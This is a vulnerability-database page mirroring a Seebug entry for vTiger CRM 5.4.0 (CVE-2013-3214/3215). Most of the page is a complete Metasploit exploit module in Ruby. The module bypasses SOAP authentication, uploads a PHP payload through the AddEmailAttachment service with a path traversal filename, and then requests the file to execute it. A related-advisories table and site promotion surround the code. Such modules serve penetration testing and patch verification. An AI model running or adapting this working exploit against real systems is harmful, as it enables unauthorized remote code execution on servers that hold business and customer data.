Lucene search
K

vTiger CRM SOAP AddEmailAttachment任意文件上传漏洞

🗓️ 08 Jan 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 56 Views

vTiger CRM SOAP AddEmailAttachment Arbitrary File Uploa

Related
Code
ReporterTitlePublishedViews
Family
0day.today
vtiger CRM <= 5.4.0 (SOAP Services) - Multiple Vulnerabilities
3 Aug 201300:00
zdt
0day.today
vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload Vulnerability
7 Jan 201400:00
zdt
Circl
CVE-2013-3214
7 Jan 201400:00
circl
Circl
CVE-2013-3215
29 May 201815:50
circl
Check Point Advisories
vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload (CVE-2013-3215)
17 Feb 201400:00
checkpoint_advisories
CVE
CVE-2013-3214
28 Jan 202020:27
cve
CVE
CVE-2013-3215
29 Jan 202017:21
cve
Cvelist
CVE-2013-3214
28 Jan 202020:27
cvelist
Cvelist
CVE-2013-3215
29 Jan 202017:21
cvelist
Dsquare
vtiger CRM 5.4.0 File Upload
10 Mar 201400:00
dsquare
Rows per page

                                                ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
require 'rexml/document'
 
class Metasploit3 &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include REXML
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload',
      'Description'    =&gt; %q{
          vTiger CRM allows an user to bypass authentication when requesting SOAP services.
          In addition, arbitrary file upload is possible through the AddEmailAttachment SOAP
          service. By combining both vulnerabilities an attacker can upload and execute PHP
          code. This module has been tested successfully on vTiger CRM v5.4.0 over Ubuntu
          10.04 and Windows 2003 SP2.
        },
      'Author'         =&gt;
        [
          'Egidio Romano', # Vulnerability discovery
          'juan vazquez' # msf module
        ],
      'License'        =&gt; MSF_LICENSE,
      'References'     =&gt;
        [
          [ 'CVE', '2013-3214' ],
          [ 'CVE', '2013-3215' ],
          [ 'OSVDB', '95902' ],
          [ 'OSVDB', '95903' ],
          [ 'BID', '61558' ],
          [ 'BID', '61559' ],
          [ 'EDB', '27279' ],
          [ 'URL', 'http://karmainsecurity.com/KIS-2013-07' ],
          [ 'URL', 'http://karmainsecurity.com/KIS-2013-08' ]
        ],
      'Privileged'     =&gt; false,
      'Platform'       =&gt; ['php'],
      'Arch'           =&gt; ARCH_PHP,
      'Payload'        =&gt;
        {
          # Arbitrary big number. The payload is sent base64 encoded
          # into a POST SOAP request
          'Space'       =&gt; 262144, # 256k
          'DisableNops' =&gt; true
        },
      'Targets' =&gt;
        [
          [ 'vTigerCRM v5.4.0', { } ]
        ],
      'DefaultTarget'  =&gt; 0,
      'DisclosureDate' =&gt; 'Mar 26 2013'))
 
    register_options(
      [
        OptString.new('TARGETURI', [ true, &quot;Base vTiger CRM directory path&quot;, '/vtigercrm/'])
      ], self.class)
  end
 
  def check
    test_one = check_email_soap(&quot;admin&quot;, rand_text_alpha(4 + rand(4)))
    res = send_soap_request(test_one)
 
    unless res and res.code == 200 and res.body.to_s =~ /&lt;return xsi:nil=&quot;true&quot; xsi:type=&quot;xsd:string&quot;\/&gt;/
      return Exploit::CheckCode::Unknown
    end
 
    test_two = check_email_soap(&quot;admin&quot;)
    res = send_soap_request(test_two)
 
    if res and res.code == 200 and (res.body.blank? or res.body.to_s =~ /&lt;return xsi:type=&quot;xsd:string&quot;&gt;.*&lt;\/return&gt;/)
      return Exploit::CheckCode::Vulnerable
    end
 
    return Exploit::CheckCode::Safe
  end
 
  def exploit
    file_name = rand_text_alpha(rand(10)+6) + '.php'
    php = %Q|&lt;?php #{payload.encoded} ?&gt;|
 
    soap = add_attachment_soap(file_name, php)
    res = send_soap_request(soap)
 
    print_status(&quot;#{peer} - Uploading payload...&quot;)
    if res and res.code == 200 and res.body.to_s =~ /&lt;return xsi:type=&quot;xsd:string&quot;&gt;.*&lt;\/return&gt;/
      print_good(&quot;#{peer} - Upload successfully uploaded&quot;)
      register_files_for_cleanup(file_name)
    else
      fail_with(Failure::Unknown, &quot;#{peer} - Upload failed&quot;)
    end
 
    print_status(&quot;#{peer} - Executing payload...&quot;)
    send_request_cgi({'uri' =&gt; normalize_uri(target_uri.path, 'soap', file_name)}, 0)
  end
 
  def add_attachment_soap(file_name, file_data)
    xml = Document.new
    xml.add_element(
      &quot;soapenv:Envelope&quot;,
      {
        'xmlns:xsi'     =&gt; &quot;http://www.w3.org/2001/XMLSchema-instance&quot;,
        'xmlns:xsd'     =&gt; &quot;http://www.w3.org/2001/XMLSchema&quot;,
        'xmlns:soapenv' =&gt; &quot;http://schemas.xmlsoap.org/soap/envelope/&quot;,
        'xmlns:crm'     =&gt; &quot;http://www.vtiger.com/products/crm&quot;
      })
    xml.root.add_element(&quot;soapenv:Header&quot;)
    xml.root.add_element(&quot;soapenv:Body&quot;)
    body = xml.root.elements[2]
    body.add_element(
      &quot;crm:AddEmailAttachment&quot;,
      {
        'soapenv:encodingStyle' =&gt; &quot;http://schemas.xmlsoap.org/soap/encoding/&quot;
      })
    crm = body.elements[1]
    crm.add_element(&quot;emailid&quot;, {'xsi:type' =&gt; 'xsd:string'})
    crm.add_element(&quot;filedata&quot;, {'xsi:type' =&gt; 'xsd:string'})
    crm.add_element(&quot;filename&quot;, {'xsi:type' =&gt; 'xsd:string'})
    crm.add_element(&quot;filesize&quot;, {'xsi:type' =&gt; 'xsd:string'})
    crm.add_element(&quot;filetype&quot;, {'xsi:type' =&gt; 'xsd:string'})
    crm.add_element(&quot;username&quot;, {'xsi:type' =&gt; 'xsd:string'})
    crm.add_element(&quot;session&quot;, {'xsi:type' =&gt; 'xsd:string'})
    crm.elements['emailid'].text = rand_text_alpha(4+rand(4))
    crm.elements['filedata'].text = &quot;MSF_PAYLOAD&quot;
    crm.elements['filename'].text = &quot;MSF_FILENAME&quot;
    crm.elements['filesize'].text = file_data.length.to_s
    crm.elements['filetype'].text = &quot;php&quot;
    crm.elements['username'].text = rand_text_alpha(4+rand(4))
 
    xml_string = xml.to_s
    xml_string.gsub!(/MSF_PAYLOAD/, Rex::Text.encode_base64(file_data))
    xml_string.gsub!(/MSF_FILENAME/, &quot;../../../../../../#{file_name}&quot;)
 
    return xml_string
  end
 
  def check_email_soap(user_name = &quot;&quot;, session = &quot;&quot;)
    xml = Document.new
    xml.add_element(
      &quot;soapenv:Envelope&quot;,
      {
        'xmlns:xsi'     =&gt; &quot;http://www.w3.org/2001/XMLSchema-instance&quot;,
        'xmlns:xsd'     =&gt; &quot;http://www.w3.org/2001/XMLSchema&quot;,
        'xmlns:soapenv' =&gt; &quot;http://schemas.xmlsoap.org/soap/envelope/&quot;,
        'xmlns:crm'     =&gt; &quot;http://www.vtiger.com/products/crm&quot;
      })
    xml.root.add_element(&quot;soapenv:Header&quot;)
    xml.root.add_element(&quot;soapenv:Body&quot;)
    body = xml.root.elements[2]
    body.add_element(
      &quot;crm:CheckEmailPermission&quot;,
      {
        'soapenv:encodingStyle' =&gt; &quot;http://schemas.xmlsoap.org/soap/encoding/&quot;
      })
    crm = body.elements[1]
    crm.add_element(&quot;username&quot;, {'xsi:type' =&gt; 'xsd:string'})
    crm.add_element(&quot;session&quot;, {'xsi:type' =&gt; 'xsd:string'})
    crm.elements['username'].text = user_name
    crm.elements['session'].text = session
 
    xml.to_s
  end
 
  def send_soap_request(soap_data)
    res = send_request_cgi({
      'uri'      =&gt; normalize_uri(target_uri.path, 'soap', 'vtigerolservice.php'),
      'method'   =&gt; 'POST',
      'ctype'    =&gt; 'text/xml; charset=UTF-8',
      'data'     =&gt; soap_data
    })
 
    return res
  end
 
end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation